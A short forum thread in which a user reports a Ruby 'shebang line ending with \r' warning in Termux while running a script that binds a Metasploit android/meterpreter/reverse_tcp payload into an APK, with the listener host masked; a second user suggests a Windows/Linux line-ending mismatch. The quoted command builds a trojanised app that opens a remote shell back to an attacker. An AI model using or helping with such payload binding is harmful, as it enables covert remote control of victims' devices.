0

error in Ruby - shebang line ending with \r may cause problems

error in termux When binding metasploit payload with ruby CODE ruby apk-embed-payload.rb mssn.apk -p android/meterpreter/reverse_tcp lhost=193.**.**.** lport=****** -o R> /storage/emulated/0/apkp.apk *- ip ERROR ruby: warning: shebang line ending with \r may cause problems

3rd Jan 2019, 1:11 PM
Diluuu
Diluuu - avatar
1 ответ
+ 1
Did you write the code on a different OS than the one that you try to run it on? Because I think that Windows uses something like \r\n internally to mark a line break, whereas Linux only uses \n (maybe it is the other way round, I'm not sure). That might explain why there is a warning about a \r that actually isn't there...
3rd Jan 2019, 6:04 PM
Anna
Anna - avatar